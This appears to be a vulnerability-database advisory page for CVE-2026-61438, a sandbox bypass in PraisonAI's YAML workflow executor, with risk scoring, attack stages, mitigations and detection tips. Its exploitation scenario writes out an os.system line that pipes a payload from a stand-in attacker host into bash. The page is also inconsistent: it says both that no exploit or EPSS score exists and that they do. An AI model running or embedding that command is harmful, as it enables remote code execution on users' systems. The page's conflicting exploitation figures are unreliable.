CVE-2026-61438: PraisonAI: RCE via broken AST sandbox in workflows

HIGH PoC AVAILABLE CISA: ATTEND
Published July 15, 2026
CISO Take

PraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.

Sources: NVD GitHub Advisory CISA KEV ATLAS vulncheck.com

What is the risk?

High severity (CVSS 7.3) with full confidentiality, integrity, and availability impact upon exploitation, but the attack vector is local and requires user interaction plus low privileges — this caps realistic exploitation likelihood versus a network-exploitable RCE. No EPSS score, no CISA KEV listing, and no public exploit/Nuclei coverage currently exist, so near-term mass exploitation is unlikely; however, the underlying flaw — insufficient AST validation of a documented sandbox — is trivial to weaponize once an attacker gets a malicious workflow file in front of a user, and the resulting impact (arbitrary OS command execution) is total. Any organization that treats PraisonAI workflow files as a trust boundary (accepting them from users, plugins, or shared templates) should reclassify this as high risk regardless of the local attack vector.

How does the attack unfold?

Malicious workflow crafting
Attacker authors a PraisonAI YAML workflow embedding an inline Python step with import os followed by os.system() calls.
AML.T0011.000
Delivery and user execution
The malicious workflow is shared as a template and a user or admin imports it into their PraisonAI deployment.
AML.T0011
Sandbox bypass and execution
JobWorkflowExecutor._exec_inline_python() fails to catch the OS call during AST validation and runs it directly.
AML.T0050
System compromise
Arbitrary OS commands execute with the privileges of the PraisonAI process, giving the attacker a foothold for data theft or persistence.
AML.T0112.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip No patch
1 dependents 69% patched ~13d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
7.3 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 22% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Local
AC Low
PR Low
UI Required
S Unchanged
C High
I High
A High

What should I do?

1 step
  1. Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - AI system operational security
NIST AI RMF
MANAGE-4.1 - Monitor deployed AI systems for risk
OWASP LLM Top 10
LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-61438?

PraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.

Is CVE-2026-61438 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-61438, increasing the risk of exploitation.

How to fix CVE-2026-61438?

Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.

What systems are affected by CVE-2026-61438?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic workflow orchestration, automation pipelines.

What is the CVSS score for CVE-2026-61438?

CVE-2026-61438 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.30%.

What is the AI security impact?

Affected AI Architectures

agent frameworksagentic workflow orchestrationautomation pipelines

MITRE ATLAS Techniques

AML.T0011 User Execution
AML.T0011.000 Unsafe AI Artifacts
AML.T0050 Command and Scripting Interpreter
AML.T0053 AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2
NIST AI RMF: MANAGE-4.1
OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

PraisonAI before 4.6.78 contains a remote code execution vulnerability in JobWorkflowExecutor._exec_inline_python() due to insufficient AST validation of workflow script steps. Attackers can create malicious YAML workflow files with import os statements followed by os.system() calls that bypass sandbox checks and execute arbitrary OS commands with process privileges.

Exploitation Scenario

An attacker publishes a seemingly legitimate PraisonAI workflow template — e.g., an 'automated report generator' — to a public repository, forum, or internal shared drive, embedding an inline Python step with `import os` followed by `os.system('curl attacker.com/payload | bash')`. A user or admin imports the workflow into their PraisonAI deployment expecting normal automation; when the workflow runs, JobWorkflowExecutor._exec_inline_python() fails to catch the OS-level call during AST validation, and the command executes with the privileges of the PraisonAI process — giving the attacker a foothold to exfiltrate data, pivot to other systems, or establish persistence.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
July 15, 2026
Last Modified
July 15, 2026
First Seen
July 15, 2026

Related Vulnerabilities